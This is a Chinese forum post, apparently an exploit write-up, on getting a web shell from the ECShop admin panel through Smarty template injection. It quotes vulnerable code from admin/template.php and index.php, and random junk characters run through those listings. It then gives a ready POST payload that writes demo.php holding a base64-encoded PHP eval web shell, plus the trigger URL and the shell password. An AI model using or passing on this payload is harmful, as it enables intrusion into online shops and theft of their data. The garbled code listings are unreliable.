Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

/ G  ?( E- @( `! F9 I! X而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
# r. x( K  R, b2 f) L6 x+ G' e但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
8 F5 \; |. \* P# a- `* R0 @5 Uadmin/template.php
0 H! C, U  _+ T. H. I
2 M9 O# S2 P' V6 r- J' ~1 if ($_REQUEST['act'] == 'update_library')

9 o; G7 v5 s) z( r2   

3 {
6 @2 C. d4 Z* ~: {
4     check_authz_json('library_manage');
) c- V% c0 Q! \1 P6 B, n3 @+ D
8 s: b" o# U  {1 }1 x5   

6     $html = stripslashes(json_str_iconv($_POST['html']));

2 B8 i2 q/ M2 ]1 d% `6 S% Y7   
7 j: ]' q. e+ m8 [1 A
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
6 J, r! E9 s. @; \6 @
9   
, L5 K, E- P# ?; K  s
2 q, A3 k' M% y3 D7 U) ^10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

4 q! j) d* E. k" P! b/ V9 S11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
& |3 o. F) d! ^# h
13   
0 ?) A. |0 {% ^1 E: y  x  x
/ O1 j1 S2 i: c0 s5 v14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

9 O5 X3 H$ [6 M7 c- z" [9 Y$ p15     {
5 O( t& |" v# ?
! t1 B7 Q0 B- l1 a16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);
' d' Q0 V8 c- y# S: i" A" ]  ^2 a
1 a6 I6 S0 O7 v( g18     }

8 @: {& I0 V0 ^9 X' Z/ V( o19     else

+ d$ V% c, u1 F7 I  k1 j20     {
" G* K6 @0 G! l
2 c# J7 ~+ K/ ^( `/ z5 S( E21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

! L& \% L( P# S) s! k22     }
! k( U. Q: R5 \) {2 N- X8 x$ Q9 E- W% j, A
23 }
- A1 O' o  _& \- K
那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')

2   

( s4 o  N0 v; G0 Q3 W& G3 {

. c- I) I& E( T; O1 d6 Z9 |4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

% V% b$ g4 |) x* |8 ?" t6   
4 v/ O' c! o% S2 h
. |+ M0 e* T2 t/ m, y7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- u7 e( G( B3 ]6 O/ R  N
& [( o  \+ L/ y8   

& I1 V" u# w" D' k5 D3 ^9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

1 T& |6 ?# X/ R- b* v+ d11     include_once('includes/cls_json.php');

5 V0 B, M/ ], J* J12   

: X/ s0 G/ M+ F) i8 s' J13     $json = new JSON;

3 N  B; Z( X  u# c& d% U2 w1 m14   
" M! J; i8 S& N2 b
/ Z5 L  R9 t( Q: N# a, D15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
- a/ \/ e3 P6 B# j+ j0 w
( u0 L7 b( k' x16   
: r8 L. Y9 C# x4 R+ E* e0 N
9 |& T! m; b" f1 O( I$ R+ t$ I17     $children = get_children($cat_id);
2 K0 ~. m8 w  ]# Q" q4 |# Y& T
18   
1 V  h% W7 N: [! H/ d' k& E& v
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   

9 m+ |. H3 e# c. E& i/ f21     $smarty->assign('cat_rec_sign', 1);

9 R9 }0 O% h/ W/ k) u22   
/ m" H8 @8 _$ _+ D& }% R1 R
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

! ]% ^5 b$ \( c0 v) V2 y24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ G' Q4 p; {9 K) |5 o3 w$ t
. i$ f! l2 z8 G26   
" _5 z( d$ f) z9 f
27         echo $rec_array[$rec_type];

2 r0 g( V1 |6 Y28   
& [1 j( J5 u+ x# _0 g" j: A( ^
29     die($json->encode($result));
" C& ]/ I4 a. k6 E3 w
9 a$ D0 T! Y$ U7 B% w; _30   
0 I' M+ T9 ^! L  L+ L# L# B+ ^
31 }

* v" N5 E* N9 [; x那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
8 m% E7 q& Z/ K4 N9 X5 Y) l, t
# g2 q1 K1 ?; W1 b4 K  F2 Y3 G4 {8 j​
* }3 g; i& U* {9 K" v1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

7 q, p* r5 n+ x- t然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
" d) P: I- C9 v9 @1 \密码c

  d2 e" w& J4 ?' Q. W2 C